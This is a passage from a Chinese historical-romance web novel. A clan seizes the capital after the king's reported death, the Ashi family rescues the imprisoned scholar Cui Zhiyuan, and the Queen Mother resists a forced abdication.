往日喧闹的街市变得情状清凉,也没小商小贩出摊,各个店面仍是开着,一酒家内,微弱的光线中只有寥寥几桌人,皆是默坐着吃喝,就是说话也把声音压得极低。 这哪像热闹喧沸的酒馆子,不知道的还以为是暗探接头。 街面来去的路人个个面色凝重,有的甚至哀叹连连,愁苦着脸。 一个街巷拐角处的暗影里,窝了三四个男子,这几人或胖或瘦,或高或矮,皆是这一带的游闲。 只听其中一人说道:“听说朵家人马进城了,就昨儿。” “想不到朵家居然屯养私兵。”又一人说道。 “这是要变天了……” “嘘!轻声儿,当心被抓起来,你们不知,就连那位新进的参知学士都被抓了,下了牢狱。” “这也太猖狂,崔大人可是大王亲自提拔,就这么无缘无故地把人关押,简直没有王法。” 另一人嗤笑道:“王法?眼下朵家就是王法,谁敢出头,出头就是一棒,就像这位崔大人一样,没个好下场,真是可惜了……” 几名游闲说着,不禁又是几声叹息,他们虽说没个正务,可也知道如今夷越的昌荣全托了他们君王的福泽,王亲临沙场,拓土开疆,在众人心里,这是上天降给他们的神君。 只是可惜,太过美好的人在人世间总不会停留太长,好像他本不属于红尘人世,老天见自己的孩子在人世过得太操劳,便将他提前收走。 “朵家那老东西太狂悖,简直可恨!” “有什么办法,最关键还是大王无后嗣,这才叫他趁势而上。” “那样优越之人,却连一息血脉也没留下,当真是憾事啊!” 正说着,一队金甲禁卫走来,几人忙往暗处躲了躲,等禁卫走过,其中一人道:“都中禁卫属阿史一族统管,不知他们是个什么态度。” 一个稍胖之人摆了摆手:“这个时候,虚虚实实都在看风向,无人敢表明态度,别看这些禁卫巡城,也就做做样子,真正的是守在王庭前的朵家兵马,那才是命门。” …… 府衙旁一条逼仄的侧巷中,两名女子鲜亮地立在污暗的过道里。 为首的女子个头小巧,满头珠簪,身着华丽,她身侧是一个秀丽的丫鬟。 乍然一看,两人似是对着空气愤然不已地指说着,再往前一点,才观得她们对面的墙凹处立着一个衙人。 “你知不知道我是谁?拦我的路?!”阿史苓扬声道。 衙人摇了摇头:“不论你是谁,小的收到上面命令,任何人不得进入。” 阿史苓把下巴往前摆了摆,珍珠见状,从袖中掏出一个沉甸甸的荷包,递到衙人手里。 衙人接过,在手里掂了掂,然后看了对面女子一眼,说道:“最里面一间,动作快些,看了就出来。” 阿史苓带了珍珠进到牢房,才一进去,一股阴湿的霉气扑面而来,骤然变暗的过道,让眼睛有一瞬的不适应,地面湿黏黏的。 她低下头看自己拖泥的裙裾,啧了一声,继续往里行去,好在行了一段,湿滑的青壁上点了烛台,可以看清四围的情状。 牢狱这种晦气的地方,她不曾到过,不免四顾探望,左右两边的围牢里,皆是幽暗暗一片,在更深的角落里,鬈缩着一个个人影,看不清脸,这些失去活人气息的囚徒,不像人更像等待被屠宰的畜生。 再往里走,便到了最里端,是个横向的铁牢。 阿史苓走上前,目光穿过笼隙看向里面,搜寻着,便看见了那个黑瘦书生模样的人,没有意料中的颓丧,也没有惨状,只是衣衫有些脏污,都这个时候了,那人手里还拿着书卷就着微弱的火光觑看。 “崔大人。”阿史苓叫了一声。 崔致远因观书太过认真,丝毫没注意到牢房外站了人,因这一清脆的叫声,猛得从书中抬起头。 “苓姑?” “我来看看你。” 阿史苓让珍珠打开食盒,将一盘盘菜馔拿出,从牢笼的递饭口放入。 “崔大人,我想你在牢里定是吃不好,这是我特意给你备的。”阿史苓催促道,“你快把这台上的空碗筷拿开,我好放入饭菜。” 崔致远在阿史苓脸上看了两眼,放下手里的书,走到牢笼边,从方形口拿下前一顿用过的碗筷,然后阿史苓往台盘上每放一道菜碗,他就拿下摆到小案几上。 “你这牢里看着比别处强,还有小案几。”阿史苓说道。 崔致远苦笑一声,这是朵阿赤给他弄来的,想想也是好笑,因着他的嘱咐,他这才没受刑。 “崔大人,你快些吃,吃好了我再走。” 崔致远张了张嘴,想说些什么,上一次他被关还是因着达鲁通敌,他守城被抓,那个时候达鲁告诉他,叫他不必担心,定会救他出去,不过他并不抱希望,死生看淡。 这次他是真出不去了,大王战死,自己效忠的主上没了,他便没了求生之志。 崔致远看着这一桌精细的饭食,温声道:“谢谢你来看我,苓姑。” “崔大人莫要同我客气。”阿史苓不知再说些什么,看着这位瘦弱的男子,他的眼里再没有光,她心里很难受,是那种隐隐的痛。 她忘不了在徽城时,在小院中他们欢闹地举着杯,喝着酒,情姑和江念打趣他,他脸上漾出开心光彩的笑,那样的意气风发,像一座稳稳的石头山,给人可靠和安心。 “好不好吃?”阿史苓问道。 崔致远嘴里细细咽着,点头道:“是我此生吃得最美味的饭食。” 阿史苓兀地冒出一句:“不是我做的,我叫府里的厨子做的。” “那也好吃。” 阿史苓笑了,想起一事,又道:“还有一事,一直瞒着没告诉你,就是那个……你那件衣衫也是我叫府里的绣娘补的,其实我不会针黹……” 崔致远拈筷子的手一顿,笑道:“无事,就当你补的好了。” 阿史苓心里更难受,别过脸,眨了眨泛酸的眼。 崔致远一点没有浪费地用完饭食,将碗盘从方口递出,珍珠一一收入食盒内。 这时牢外有人催促。 阿史苓忙说:“崔大人,明日我再来,你想吃什么,告诉我,我叫厨子做。” 崔致远开口道:“回去罢,莫要再来。” “为何?” “这里不是你该来的地方,把衣服弄脏了,别再来了。”崔致远走到墙角的暗影里,盘腿坐下。 阿史苓看去,男人的整个上半身都淹在影中,只有一侧的衣摆和衣摆边的手显露在光亮中。 也是这个时候,她才发现崔致远的手很是好看,指骨分明却不过分嶙峋,手背青筋微凸,一双修长且带着冷感的文人的手。 “崔大人,我明日再来?”阿史苓又问了一遍。 却得不到任何回答。 正在此时,衙人走了进来,催促道:“快走,快走,不能再待。” 阿史苓不得不带着丫头往外走去,一面走一面回头看向身后的牢笼,影影绰绰中只看见墙影里一点他的轮廓。 出了牢房,阿史苓这才恍然自己居然在那种潮湿的地方待了半日,而且丝毫没觉着难忍。 “主子,你的眼睛怎么红了?”珍珠问道。 阿史苓眨了眨,说道:“应是突然从暗处到亮处,眼睛有些不适。” 说着,两人走出巷弄。 阿史苓回了自己院子,有些发怔,说不出来心里的难受劲,她从崔致远脸上只看见淡淡的怆然,好像一切都无所谓了。 她从来不知这世上竟有这样一种人,真正做到了以家国为己任,视君若父,不够壮硕的胸中跳动着那样一颗赤忱的心。 大王战死对他无疑是致命一击,就好像一直以来支撑他的梁柱折了。 阿史苓不懂太多大道理,但她很肯定,崔致远是个大好人,好人应该长命百岁,她要尽她所能助他度过这个关口,于是来不及更衣,往前院走去。 这要放在平时,她绝不会拖着脏污的裙裾乱走乱荡,衣衫一脏,她会认为自己整个人都是脏的,非得从头到脚沐洗,再换一身舒净的衣衫,叫丫鬟把脏污的衣衫烧掉,这样才好过。 可是今日却什么都不顾了。 阿史苓走到前院的书房,问向守院的小厮:“我父亲呢?” “老爷正同大爷在书房商议……” 不待小厮说完,阿史苓已提裙上了台阶,叩响房门。 “父亲,女儿来给您问安。” 屋里静了一会儿,传来一道略微苍沉的声音:“只要你不找事,为父一切都安。” 阿史苓一噎,又转口道:“兄长,小妹给你问安。” 没有回应,就在阿史苓等不住时,房门开了,开门之人正是兄长阿史勒。 “还是兄长疼我。”阿史苓仰起脸,甜甜地说了一声。 阿史勒无奈地摇了摇头,侧过身:“进来罢。” 阿史苓走进了屋,就见她父亲坐在茶案边,案上有一紫金雕螭香炉,炉鼎升着细细的轻烟。 案几中的茶盘里摆着各类茶器。 阿史勒掩上房门,走回案几边,重新跪坐到他父亲对面的铺团上。 “不是你兄长开口,我这会儿真不想见你,说罢,又有什么事?”阿史家主说道。 阿史勒提壶给他父亲和自己各沏了一杯茶,又拿出一干净的小盏,准备给阿史苓也沏一盏。 “阿兄,我不喝茶。” 阿史勒于是放下壶,拿起自己面前的茶盏,就在那茶水刚入口时,听得身侧的阿史苓开口。 “父兄,我想招赘婿……” 第211章 他轻薄你了? 阿史勒听说小妹要招婿,一口茶水直接呛到气管里。 一边的阿史家主反倒岿然而坐,不见丝毫惊诧,暗道自己儿子还是缺少经验,在这丫头面前必须做足准备,你不知道她下一句会说出什么荒唐言语。 “你想低嫁?”阿史勒好不容易理平气息。 阿史苓想了想,说道:“也不算低嫁,他如今遇着难事,正处于低谷,我不能见死不救,指不定等他日后起复,咱们全家都得仰仗他哩!” “那你就把自己献出去?”阿史勒问过后又觉着不对,“他?还起复?这人是谁?” 他本以为小妹是一时兴起,想招个男子入赘,毕竟以她这个刁蛮性子,去了别家真不一定能顺意和美,可她那话里的意思,分明已有中意之人。 阿史苓直说道:“就是崔大人。” 别说阿史勒了,纵使阿史家主已有心理准备,亦是雷震一惊。 “崔致远?”两人齐声惊问。 “是,就是那位参知学士。” “不行!”阿史家主一口否决,“你就是招个贩夫走卒也不能招他为婿。” “为何?!”阿史苓急了。 “还为何?他现在什么情况你不知道?不仅没了官身,还是戴罪之身,能活到什么时候都不知,你招他?是准备在牢里完婚?”阿史鹞说道。 阿史苓看着她父亲,嘴角挂着一丝冷笑。 阿史鹞被她看得不自在,问道:“你那是什么表情?” “父亲说他是戴罪之身,我倒要问问父亲,他有何罪?谁给他定的罪?”阿史苓腾地站起,指向窗扇,“那朵家是什么阿什物?他是天王老子不成?他说谁有罪谁就有罪?别忘了,咱们夷越的王姓仍是呼延氏,不是他朵氏!王庭里还有圣太后呢!” 阿史鹞默了一会儿,说道:“你坐下。” 阿史苓气怔得立在那里不动,阿史鹞暗骂,这驴脾气真是牵着不走,打着倒退。 阿史勒给阿史苓睇眼色:“过来坐下,听父亲如何说。” 阿史苓这才重新屈膝坐下。 “崔致远这人品性不差,他若仍是参知学士,你要嫁他,也嫁得,只是眼下形势微妙,你同他远着些。” 阿史苓冷笑一声:“父亲在怕朵家?什么时候咱们阿史家要仰他朵家鼻息了?” 阿史家主两眼一睁:“我怎会怕他朵家?!” “既然不惧他,为何又这般瞻前顾后?”阿史苓扬起下巴,捋起袖儿,“他朵家不就是手上有点兵么,我阿史家难道就没有兵?大不了跟他干一场!” 阿史家主闭了闭眼,一手掩住半边脸,他是真不想承认这是自家闺女,哪里有半点女儿家的斯文。 转念之间,见自家女儿这般维护姓崔的,心里一凝,肃声问道:“你同那崔致远又不相熟,怎的就这般为他费尽心力,可是上次去徽城,他轻薄你了?” 阿史鹞说得委婉,实是担心崔致远是否同自家女儿有了首尾,以至于女儿不得不替他求情,若真是这样,不用朵家出手,他会立马叫崔致远死。 阿史苓“哎呀——”一声:“他那呆子哪有这些心思,我往他跟前进一步,他连退两步呢,迂腐得要死。”说着,看向她父亲,“他真是个顶好的人,女儿觉着嫁与这样的人,以后只有我欺负他的份,没有他欺负我的。” 阿史鹞同自家儿子对看一眼,都从对方眼里看到了无可奈何,而这份无可奈何中又掺杂着一丝听天由命。 “你真想好了?”阿史勒问道。 “阿兄,我想好了。” 阿史勒作为兄长,不得不给她点明要害:“咱们闭着门,自家人说话,阿兄就不遮掩了,你哪怕择一贩夫走卒,日后父亲和我也可让他官袍加身,你仍是高高在上的官眷,但这个崔致远,他如今是白身,而且,他曾是君王近臣,又因东境一役同朵家结了仇怨,如果……夷越王权落到朵家手里,小妹,你要知道,崔致远再难翻身,你真要嫁给这样一个平庸之辈?” 阿史苓全然不担心:“小妹心里再没像现在这样清醒,我要嫁的是人,不是那看不见摸不着的官爵,真要找一个德行不好之人,他身份再贵重,我也只能做那深闺怨妇,而一个品性上乘之人才是世间难寻。” 说到这里,阿史苓机灵一笑:“家中有父兄看护,母亲和嫂嫂疼爱,吃穿不愁,又不是找个好人就吃糠咽菜了。” “你这算盘倒是打得精,半分不让自己吃亏。”阿史勒拿指虚空点了点。 阿史苓端父兄态度,知道此事定下了。 “还有一事……” 阿史父子问道:“还有什么?” “就是这件事情……崔大人还不知晓,父兄也知道,像他这种书生,总有些孤傲的古怪性,阿兄同他相谈间别太过凌人。”阿史苓说道。 阿史父子这才恍然,原是她剃头挑子一头热。 …… 衙人从衣襟里掏出一个荷包,拉开,把里面的金豆子倒出来,细细地数了数,生怕少数了一粒,正数得开心,一串脚步声响来。 抬头一看,就见一群身着金甲衣的禁卫挤满了巷弄,巨大的动静把里面几个当值的牢头惊得探出头。 其中一个牢头笑问道:“禁卫大人怎么到咱们这种地方来。” 禁卫中为首之人冷声道:“公事拿人,闪开。” “这牢里面怎会有你们要的人呢?” 禁卫又道:“有没有我们进去看一番不就知晓了,还不成我们禁卫拿人还要同尔等报知。” 牢头忙解释道:“怎敢,只是要拿这里的人需得有对牌或是手札,不然小的们不敢放人。” 禁卫中一人上前,抽刀,对着牢头脖子一抹,动作干净利落,热血溅出,滋了那黄金甲衣一身,在辉光下如同燃烧的火云。 “还要对牌不要?” 衙人们唬得忙不迭让道。 禁卫们散出一条道来,中间走出一人,正是阿史勒。 崔致远看着牢笼外的阿史勒,不知他来干什么? “崔大人,别来无恙?”阿史勒说道。 崔致远心道,我同此人并不相熟,不知是不是他的错觉,怎么听他这口气有些阴阳怪气。 “阿史大人来此是来提刑我的?” 阿史勒把牢里的崔致远上上下下打量,这书生放在夷越男子中当真不挑眼。 肤色比旁人更暗一度,眉眼嘛,薄眼,鼻子倒是高挺,算不上多好的面目,就是一个文弱书生,真不知小妹瞧上这人什么。 崔致远被阿史勒瞧得如芒刺在背,不自在起来,不知他是何意,于是放下手里的书卷,理了理衣摆,起身,走上前说道:“若要提刑,就把牢门打开。” 阿史勒摆了摆下巴,衙人上前,从腰带处解下药匙,抖抖擞擞地半晌插不进匙孔。 一边的禁卫不耐烦地将他往旁边一拽,抽出胯间长刀,照着牢锁一砍,“哗啦啦——”锁链掉落在地。 崔致远被这一幕惊怔。 “阿史大人,你这是……” 阿史勒拉开牢笼,说道:“劫狱呢,看不出来?还速速出来。” 崔致远不再多话,出了牢门,在一众禁卫的簇拥下出了牢房,最后乘上一辆马车,马车在禁卫的前后围护中驶向阿史府。 到了阿史府邸马车没有停下,而是径直从侧门进入,一直行到二道门前才停下。 阿史勒敲了敲车壁,崔致远掀开车帘,探眼一看,是一处精美的游园,当下出了马车。 “阿史大人到底何意?作何要救我?还有,这又是哪里?” 从前,君王在时,他身为王之近臣,朝中不少人巴结迎合他,而今,君王这座鳌山坍塌,他身上再没什么可图的。 阿史勒看了一眼周围,说道:“这是我的府邸。” 崔致远并非傻子,阿史勒代掌京都禁军,京都禁军和王庭亲卫这两支皆属君王亲军。 毫无疑问,阿史家效忠于君王,大王才会把代掌禁军一职委任于阿史家,可一码归一码,在这个档口,阿史家绝不会出面救他。 难道是阿史苓给他说情?想到这里,崔致远面色变了变。 阿史勒挥手叫一旁的下人们退下,说道:“从今日起,你就住在我府中,危机过去之前,哪里也不要去,只要你在我阿史家,我们就能护你无恙。” 崔致远动容之余又生出愧疚:“如今人人对学生避之不及,大人救我,只怕会给大人及家眷招祸,学生心里实在难安。” 阿史勒听他如此说,腔音中起了点温度:“崔大人,本卫听过一句话,不知大人可曾听过?” “何语,大人道来。” 阿史勒睨下眼,启口道:“救命之恩,无以为报,唯有……” 崔致远下意识地接话:“唯有以身相许……”话才落地,惊愕地看向对面,怒喝道:“荒唐!学生不好男风,还请大人自重……” 第212章 横闯宫闱 一道焦雷自阿史勒头顶打下,心道,还男风,就你这黑瘦模样,谁能看中你?刚对他有点好态度,就被散了个干干净净。 正待发怒,一个欢快的声音从不远处响起:“崔大人!” 崔致远循声看去,就见阿史苓欢快走来。 阿史勒见自家小妹过来,说道:“为兄的任务完全了,把人安全交到你手上。”说罢,斜了崔致远一眼,甩袖离去。 崔致远回想刚才那句“救命之恩,无以为报,唯有以身相许”,这才会过意来,再看向阿史苓时便有些不同。 “崔大人,你就在我府上休养,待过了这个关口再做打算。” 崔致远抱拳道谢。 阿史苓是个风火性,不喜欢墨迹,当下把崔致远带到一处院子。 “这院子我叫人收拾过,什么都有,大人若是缺什么,少什么,只管叫下人们采买了来。” 崔致远往院中四顾打量,院子不算大却很精巧,主道以石板铺成,旁边是黄色、黑色还有白色的鹅卵石,绿植花木皆修剪有形,花木下是浅纤的嫩绿茵席。 又有一方不规则的鱼池,旁边以灰晶石垒边,清水里游荡着十来条不知名的彩色鱼儿,看着很有生气。 崔致远粗略把园子看了一眼,转头对阿史苓说道:“可否领我去拜谢老大人?” 阿史苓笑道:“自是要拜谢,只是我父亲现在不在府里,晚些时候他回来,我引你去见一见。” 崔致远又是一番相谢。 阿史苓想他才从牢狱出来,需要休息,于是对院中的仆从们交代一番,就走了。 崔致远站在院子里,低头看了一眼自己的衣履,吩咐丫鬟备热水,待热水上了,这才步入房中沐洗更衣。 整装毕,下人们上了晚饭,崔致远用罢饭,此时天已渐暗,阿史苓提了一个彩光闪闪的琉璃灯欢喜地走了过来,立在阶下说道:“崔大人,我父亲回了。” 崔致远忙站起,往外看去,就见焕彩流光中立着一个笑眉笑眼的金玉人儿。 一时间竟有些自惭形秽。 阿史苓见他换了一身干净的衣裳,再去看他的脸,因为背光的原因,有些看不清明,微微光影下,隐约可辨细薄眼皮下的双眸,眼尾下垂的褶,是亲和的线条。 崔致远被她看得有些不自在,打了一声咳嗽,走下台阶。 阿史苓提着琉璃灯,崔致远隔出一段距离走在她的身侧,身后几名丫鬟随行。 “苓姑,多谢你。” 阿史苓低头笑了一声:“怎么谢啊,可不能只是口头说说。” 崔致远想起阿史勒的那番话,一时间憋红了脸,磕巴道出:“你说怎么谢便怎么谢。” “真的?可不能食言。”阿史苓一个转身站定,手上的彩灯照到男子的身上,红的、绿的、黄的,随着提灯晃动。 崔致远颔首道:“不食言。” “有你这话就成,只是我还没想好,待想好了再说。” 阿史苓继续往前走,崔致远随后跟上,不一会儿,七拐八绕到了另一方院落。 “到了。” 阿史苓朝一个方向努了努嘴,崔致远颔首,上了台阶,理了理衣襟,叩响房门。 “进来。” 崔致远推门而入,屋内灯光通明,桌案后坐着的正是阿史家家主,阿史鹞。 “崔大人请坐。”阿史鹞从桌案后走出。 崔致远虽说落难,可该有的气度和礼教仍在,朝上恭恭敬敬一拜。 “多谢老大人出手救在下。” 阿史鹞坐到他的对面,示意他喝茶:“崔大人接下来如何打算?” 崔致远看了一眼对面这位看起来并不如何年老,甚至透着英武气的阿史家家主,直言不讳道:“学生不知,若能躲过此劫,学生应该会回徽城老家。” 阿史鹞面上仍是平静,暗忖道,崔致远心计胆识不一般,可再怎样也只是一个二十来岁的年轻人,别说他了,就是他们这些老家伙也不知下一步该如何。 呼延吉战死,对夷越无疑是致命一击,如今人人风声鹤唳,茫茫不知。 阿史鹞不着痕迹地度其神态风姿,见其骤然从高位跌落,却不见怨恨颓丧,可见其稳重的性情,可惜了,是个不多得的人才,就是底子太轻薄。 崔致远能得君王赏识,少不了一份机缘在里面,可这份眷顾随着呼延吉战死如烟一般散去,照眼下的情况,除非君王死而复生,否则他再翻不了身。 阿史鹞想起女儿提及的入赘一事,转眼又觉得太过儿戏,便不提此事,正待找些其他话说,房门突然被拍响。 “家主,府门前来了好多兵。” 崔致远猛地站起,面色一变,说道:“定是朵家集了兵马,抓我来了。” 阿史鹞并不慌张,拿起面前的茶盏,不慌不忙地将茶水饮尽,这才站起身。 “不必惊慌,他们不敢进来。”说着出了屋室,崔致远随在他的身后。 阿史苓面上带了一点紧张的神色,凑了过来:“父亲。” 阿史鹞示意她不必惊慌,然后转头看向崔致远:“带她下去。” 崔致远不想因着自己连累阿史家,上前一步道:“学生不愿叫老大人为难,他们要的是我,在下一条贱命死不足惜。” 朵尔罕恨极了他,不论他有无威胁,就是想叫他死,只有他死,朵尔罕才解恨。 阿史鹞冷哼一声:“他朵家来要人,我就得给?给他脸了!”说罢带着一众奴仆往外走去。 阿史苓在后面跟着,学着她父亲的口气,说道:“给他脸了!” 阿史鹞突然顿住脚步,回过身,呵斥道:“你跟过来做什么?还不回你的院子!” 阿史苓差点没刹住,被这一吼,只得乖乖走到崔致远身边立着。 等她父亲走远了,又安慰一旁的崔致远:“不用担心,我父亲不惧的,我们阿史家就没有怂货。” 崔致远发现阿史苓面上高高在上,其实内心很澄澈,她一旦认定的朋友,就会掏心掏肺地对那人好。 …… 阿史府邸前,熊熊火把下是身着青甲的朵家私兵,挨挨挤挤地站满了府前的空地。 当日君王殉战的消息传到京都,朵尔罕连夜调来近五万私兵,在众人猝不及防之下围了王庭。 亲卫同禁军目数上不能敌,且他又挟控着圣太后,叫人不敢贸然行事。 阿史鹞立于阶上,向下睨着眼,府邸前的青衣兵散开,从中走出一人,正是朵尔罕。 “朵大人这是做什么,要抄我阿史家?” 朵尔罕笑了笑:“怎敢,阿史大人未免太看得起我,不过是来要一个无关紧要之人。” “既是无关紧要之人,又何须弄出这样大的动静?”阿史鹞说道。 朵尔罕也不装了,本身两人年轻时就不对付。 “你知道我说什么,把那姓崔的交出来。” 阿史鹞不带一点缓和:“不交。” “一介书生,你要他做什么?你阿史鹞几时有这么好心?” “他可不是普通书生,他是我阿史家的女婿,你说我救他不救?” 朵尔罕面色骤然一冷,认为阿史鹞找得托词,故意同他作对。 “若我执意要进呢?” “朵尔罕,你别太嚣张,真以为京都就你一人说了算?别把人逼急了。” 朵尔罕望了眼阿史鹞身后的家奴,轻蔑道:“就凭这些人?” 话音刚落,身后传来兵甲铿锵声,还有齐隆隆的脚步声,转头一看,只见金灿灿的禁军压了过来,为首之人正是阿史家的长子,阿史勒。 “你若敢闯我府宅,今夜咱们就血拼一把。”阿史鹞说道。 朵尔罕压下心里的怒气,这阿史鹞年轻时就是个横的,他当然不惧阿史鹞,纵使阿史鹞掌着禁军,可他手里的青甲兵是禁军数倍,城外还有余部驻扎,真要拼杀,阿史鹞敌不过。 然而这个关窍上,他不愿为了一个无关紧要的崔致远折损人马。 眼下他按兵不动,却是另有打算,围禁王庭,名不正言不顺,最后反会落下一个谋逆的罪名,这是他不愿的,王位他要,人心他也要。 遂软硬兼施,打算叫圣太后立下禅位诏书,他便可以名正言顺稳坐王位,只是那老妇人怎么都不松口,非说不信君王战殁,不见到尸身,她绝不立诏。 呼延吉死于山崩,变成了泥人,尸骨无存,哪里去抬个尸身给她,一时间叫他进不得退不得。 “阿史鹞,你能护他到几时?”朵尔罕冷声道。 阿史鹞并不回答,只是睨着阶下的朵尔罕。 朵尔罕苍粗的声音笑了几声,笑声中充满讥讽,洋洋地走了,那些青甲兵也如潮水一般退去。 今夜,阿史鹞见了朵尔罕的态度,心往下坠,一个无威胁的崔致远竟叫朵尔罕亲自来拿人。 也是,当初朵尔罕指派自己的长子去夷越东境,本想借梁军东犯,施压呼延吉立他女儿为大妃,结果呼延吉派崔致远往赴夷越东境,他的如意算盘落了空,折兵丧女,损失惨重。 今日,崔致远算是保下一命,只是这条命能活多久,端看天意…… …… 是夜,朵尔罕从阿史府邸离开后,并未回私邸,而是乘辇径直去了王庭。 从前他在庭前必下辇解剑,如今车夫马鞭不收,毫不停顿地长驱直入,横闯宫闱如入无人之境,犹似逛自家花园般自在…… 第213章 禅位诏书 王庭,祥云殿…… 此时已夜幕四合,凉月高挂,野虫哀鸣。 金掌事从宫婢手里接过药膳,转身走到帷屏内。 屋内高太后并未就寝,而是衣饰整齐地坐于罗汉榻上,双目虽不那么清亮,却蕴着力量。 这几年,因有大王理朝勤政,圣太后退居于祥云殿,过了多少年的闲散日子,把一颗心也温养懒了,一身锐气尽敛。 外界都道太后命好,生了两个既孝顺又尊贵的儿子,且这两个儿子还那般出色。 可他们不知,不论是成王还是如今的吉王,他们的尊贵是因为托在了圣太后的肚子里。 这些人更不知,少女时的太后是怎样从一众贵女中脱颖而出,入了老君王的眼,又怎样在危机暗涌的王庭生存下来。 那个时候的老君王可不像现在的大王,内廷无人。 两位朵家女已叫人难以招架,生出多少是非,那个时候的内廷,可不止两个女人,有上姓女子、各大世家的女子,亦有名宦之族,个个儿都带着毒性。 圣太后便踩着这些人,一步一步走到老君王身侧,同他并坐,许是年纪大了,心境变了,褪去锋芒,做起讨人嫌恶的老太太。 而今,那双阅尽世事的眼,仍可观得年轻时美丽的旧影。 这得多强大的内心才能撑到现在,连丧两子,白发人送黑发人,谁能承受得住这个打击。更让人惋惜的是,两任君王连子息也没能留下。 太后她老人家面上虽然不显,可她作为贴身侍婢却知她的心痛得滴血,养得那样好的一头浓发,出生许多银白。 “太后,药来了,喝了就歇下罢。” 高氏接过药碗,用汤匙舀了两下,说道:“仍没传来消息?” 金掌事摇了摇头,太后不愿相信大王没了,一直认定过不了多久会传来大王假死的消息。 高氏双目微敛,把药碗搁到桌上,一室的安静。 这时,宫婢们慌张的声音从外传来。 “朵大人,您不能进去,太后已歇下了。” 接着是一个洪亮的武将声音:“大胆宫奴,朵老大人你也敢拦!” 再然后是抽刀之声,以及宫婢倒地的声响。 那声音又道:“你们一个个都看仔细了,这可是同王姓并重的朵老大人。” 宫婢们噤若寒蝉,不敢再言语。 这时朵尔罕的声音响起:“太后歇息下了?” “是。”宫婢应声。 “那便请太后整妆起身罢,本大人在这里候着。” 处于帷幕内的金掌事已气得浑身发抖,奸佞!逆贼!竟叫太后理妆迎他! 高氏缓缓站起,金掌事就要上前搀扶,却被她挥手摆开,双臂端持,走出帷幕。 朵尔罕见高氏出来,并不起身,哪还有半点在呼延吉面前诚惶诚恐的恭敬之态,架子比高氏这个圣太后端得还足。 只见他一手执着杯盏,一手揭着盖,撇着水面的浮沫,啜了一口。 “朵大人这么晚了到祥云殿来有何事?”高太后问道。 朵尔罕并未立即回答,而是端着盏继续喝茶,呷了两口,又以盏盖在盏沿上一划,安静的大殿内只听到瓷碗刺耳的刮擦声,然后再随手把盏搁于案上。 “太后何必明知故问,我深夜前来还能为什么,不就是为了那一纸禅位诏书。” 高太后冷笑一声:“朵大人这就等不及了?” “国不可一日无君,我也是为着夷越百姓着想,不得不勉为其难担此重任。” 高氏下巴微扬,气足声亮:“所谓禅位,该由君王拟诏才对,我一个老妇人懂什么禅位,大人不如等我儿回来,你再叫他禅位与你,岂不更好?” 朵尔罕听她提起呼延吉,身体不自主地一震,不过很快掩了过去。 “太后何苦自欺欺人,大王已然战死,您这样放不下,只会叫他在九泉之下不得安息。” 高氏额腮绷得紧紧的,拍案道:“只要一日未见尸身,我儿就还存活于世!” 朵尔罕面色渐冷:“战报还能有假?难道太后真叫老臣遣人去那泥土里扒尸骸?届时呈放到你眼前,您才认?”说着嘴边扬起一抹恶笑,“只怕那骸骨呈到您面前,你也认不得了,反叫大王最后一点体面也失了。” 高太后腮上的肉发着颤,显然已是极力在忍。 朵尔罕叹息摇头道:“早知今日何必当初,那时我遣小女入王庭,大王偏宠于梁女,冷落我儿,若立小女为大妃,孕育出王嗣,也不至于后继无人,起码夷越王姓仍是呼延氏。” “立你朵家女为大妃?”高太后轻哼一声,“现在想来,得亏我儿没立你朵家女为妃,如此大逆不道之人,能教养出什么好儿女,梁女比你朵家女强数倍不止。” 朵尔罕也不恼,反倒站起身,放眼四顾,说道:“是么,太后觉着梁女好,老臣倒要问一问,您都这样了,那梁女在哪里?怎么没有伴在您的身边?” 高太后双目微霎,并不答言。 朵尔罕又道:“听说她为您去寺庙祈福,京都发生了如此大事,她不会不知道,不怕告诉您,老臣遣人去了周边所有寺庙,根本不见其踪影,您道是为何?只怕得到大王身殒的消息,知道自己再无倚仗,逃了也未可知。” 朵尔罕这人心狭窄,记仇,围禁王庭后,首先想到的就是擒拿江念,却一直寻她不着。 高太后并不恼,嘴角噙笑,朵尔罕无非就是想言语击垮她,让她在绝望中不得不立禅位诏书。 “朵大人去寺庙当然寻不着梁妃,她并非去寺庙祈福。” 朵尔罕眼一眯,假装不甚在意的样子:“看来太后是知晓她的行踪了,不知她人现在何处?” 高太后反倒不急了,悠悠地端起茶盏,啜了一口:“梁妃去寺庙祈福只是对外的说辞,朵大人真想知道?” “毕竟是王室中人,怎可流落在外。” 高太后点头道:“告诉你也无妨,这丫头实则同我儿一起去了梁西,用不了多久,她便会同我儿一道回京都。”接而又道,“若我儿真有不测,这丫头怎么不回来通报于我?可见那些战报并不可信。” 朵尔罕心里开始摇摆,不知高氏这话几分真假,若她说的是真话,难道呼延吉真没死?一时间迟疑起来。 于是不敢相逼太甚,一语不发地带人离开了。 待人走后,高氏挺直的腰背这才塌下,喃喃地说了一句:“那丫头若能逃就逃罢,逃了也好。” 金掌事见了不忍,从旁宽慰道:“依老奴看,这事只怕真有转机哩!” 高氏如今急需此类安慰之言语,当下问道:“怎么个转机,有何说法?” “您看呐,当初梁妃殿下是大王亲自送出王庭的,宣称去寺庙祈福,可刚才朵尔罕却说在寺庙并未寻到梁妃殿下。”金掌事将高太后扶起,慢慢走到帷幕后的里间,接着道,“老奴并不信梁妃殿下只顾自身安危,她同大王之间的情意放眼整个王庭,上上下下谁人不羡,定是她听到噩耗,亲身去边境寻大王了。” 听此一说,高太后把金掌事的手紧紧握住,急声道:“真的?” “一定是的,太后您不是不知道,从前这样的事情又不是没发生过,那会儿大王攻取邕南和定州,不就是阿多图带着梁妃赶赴边境。” 高氏眼睛一亮,焕上神彩,连连拍着金掌事的手:“对,对,阿多图这会儿不在王庭,一定带着江丫头去梁西找我儿了。” 金掌事赶忙说道:“正是呢,所以您只需放宽心,在王庭守他二人归来,老奴今日瞧您那样一说,朵尔罕还是有些忌惮,不然也不会这么轻易就走了。” “嗳——只怕我压持不了多久……” 朵尔罕手上兵马众多,仅凭王庭亲卫和都中禁军,难以匹敌。 现下双方按甲不动,僵持不下,谁都不愿先撕破脸,不到最后,不动兵戈,她只能尽她所能,镇一时是一时。 有了刚才的宽慰之语,高太后真就在心里盼顾起来,从未如此希望见到江念。 …… 阿多图自那日请见梁妃,请求带着小王子速回王庭,梁妃并未立时应下,而是问他,回了京都后是否有能力护小王子周全。 他没办法回答,据传来的信报,朵家近五万私兵已屯于京都城郊外,梁妃见他如此情状,让他退下,说她需要时间考虑。 可自打小王子出生,眼下已有一个月,梁妃那边依旧没有任何动静,不过小王子足月后,殿下可以下榻了,偶尔会在晨间走出屋子,在院子里坐一会儿。 